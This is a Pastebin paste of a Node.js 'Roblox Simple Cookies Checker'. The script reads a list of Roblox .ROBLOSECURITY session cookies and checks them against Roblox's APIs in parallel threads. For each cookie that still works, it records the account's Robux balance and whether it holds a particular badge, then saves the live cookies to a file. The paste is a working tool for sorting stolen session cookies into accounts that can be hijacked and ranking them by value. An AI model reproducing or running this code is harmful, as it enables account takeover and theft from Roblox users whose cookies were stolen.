Advertisement
mangttigod

Untitled

Sep 9th, 2024 (edited)
26
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.94 KB | None | 0 0
  1. import axios from 'axios';
  2. import { readFileSync, writeFileSync, existsSync } from 'fs';
  3. import config from './config.js';
  4. import { colors, wait } from './helper.js';
  5.  
  6. // Configuration
  7. const badgeIdToCheck = 196200785; // Badge ID for "Level 100"
  8.  
  9. const main = async () => {
  10. let missingFiles = []; // Check if needed files are missing
  11. if (["./config.js", "./cookies.txt"].some(file => {
  12. const notExisting = !existsSync(file);
  13. if (notExisting) missingFiles.push(file);
  14. return notExisting;
  15. })) return console.log(`${colors.fg.red}[-] Missing files: ${missingFiles.join(", ")}, please check your files or re-download the project.${colors.reset}`);
  16.  
  17. // Cookies stuff
  18. let cookiesNoDuplics,
  19. cookies = readFileSync("./cookies.txt").toString().replace(/\r\n/g, "\n").trim().split("\n"); // cookies (raw)
  20. if (config.removeDuplicates) cookiesNoDuplics = [...new Set(cookies)]; // cookies (no duplicates if true)
  21.  
  22. if (cookies.length === 0) return console.log(`${colors.fg.red}[-] No cookies found!${colors.reset}`); // Signaling user didn't provide any cookies
  23.  
  24. // Removing duplicates if enabled
  25. if (cookies.length - cookiesNoDuplics.length > 0) {
  26. console.log(`${colors.fg.yellow}[!] Removed ${cookies.length - cookiesNoDuplics.length} duplicate cookies${colors.reset}`); // Signaling user about removed duplicates (if enabled and there are any)
  27. cookies = cookiesNoDuplics;
  28.  
  29. await wait(1000); // Wait 1 second before continuing
  30. }
  31.  
  32. let validCookies = [],
  33. loginURL = "https://www.roblox.com/home", // Roblox home page URL
  34. threads = 0, // threads script now using
  35. max_thread = (config.multithreading.enabled ? config.multithreading.threads : 1), // max threads script can use
  36. checked = 0; // cookies checked
  37.  
  38. const checkCookie = async (cookie) => {
  39. threads++;
  40.  
  41. let headers = {
  42. "Cookie": `.ROBLOSECURITY=${cookie};`
  43. };
  44.  
  45. try {
  46. // Check if the cookie is valid by sending a request to the Roblox home page
  47. const resp = await axios.get(loginURL, { headers });
  48. if (resp.status === 200) {
  49. // Cookie is valid; now check additional details
  50. const userResponse = await axios.get('https://users.roblox.com/v1/users/authenticated', { headers });
  51. const userId = userResponse.data.id;
  52.  
  53. // Check for badges
  54. const badgesResponse = await axios.get(`https://accountinformation.roblox.com/v1/users/${userId}/roblox-badges`, { headers });
  55. const badgesData = badgesResponse.data.data;
  56. const hasBadge = badgesData.some(badge => badge.id === badgeIdToCheck);
  57. const Mm2 = hasBadge ? true : false;
  58.  
  59. // Fetch Robux
  60. const robuxResponse = await axios.get(`https://economy.roblox.com/v1/users/${userId}/currency`, { headers });
  61. const robux = robuxResponse.data.robux;
  62.  
  63. validCookies.push({ cookie, robux, Mm2 });
  64.  
  65. console.log(`${colors.fg.green}[+] Valid Cookie with Robux: ${robux}, Mm2: ${Mm2}${colors.reset}`);
  66. } else {
  67. console.log(`${colors.fg.red}[-] Invalid Cookie: ${cookie}${colors.reset}`);
  68. }
  69. } catch (err) {
  70. console.error(`${colors.fg.red}[-] Error checking cookie ${cookie}: ${err.message}${colors.reset}`);
  71. if (err.response) {
  72. console.error(`Status Code: ${err.response.status}`);
  73. console.error(`Response Body: ${JSON.stringify(err.response.data)}`);
  74. }
  75. }
  76.  
  77. threads--;
  78. checked++;
  79. };
  80.  
  81. const updateConsole = () => {
  82. console.clear();
  83. console.log([
  84. `${colors.bg.blue}[🍪] Roblox Simple Cookies Checker${colors.reset}`,
  85. `${colors.fg.green}[✅] Valid: ${validCookies.length}${colors.reset}`,
  86. `${colors.fg.red}[❌] Invalid: ${cookies.length - validCookies.length}${colors.reset}`,
  87. `${colors.fg.yellow}[⚠] Checked: ${checked}/${cookies.length}${colors.reset}`,
  88. ].join("\n"));
  89. };
  90.  
  91. for (let cookie of cookies) {
  92. while (threads >= max_thread) await wait(100);
  93. checkCookie(cookie);
  94. updateConsole();
  95. }
  96.  
  97. while (threads > 0) await wait(100);
  98.  
  99. updateConsole();
  100.  
  101. if (validCookies.length > 0) {
  102. const resultLines = validCookies.map(({ cookie, robux, Mm2 }) => `Cookie: ${cookie}\nRobux: ${robux}\nMm2: ${Mm2}`);
  103. writeFileSync("./validCookies.txt", resultLines.join("\n\n"));
  104. console.log(`${colors.bg.green}[✅] Saved valid cookies with details to validCookies.txt${colors.reset}`);
  105. } else {
  106. console.log(`${colors.bg.red}[❌] No valid cookies were found!${colors.reset}`);
  107. }
  108.  
  109. console.log(colors.fg.green + `\n\n@kob.kuba\n\n` + colors.reset);
  110. };
  111.  
  112. main();
  113.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement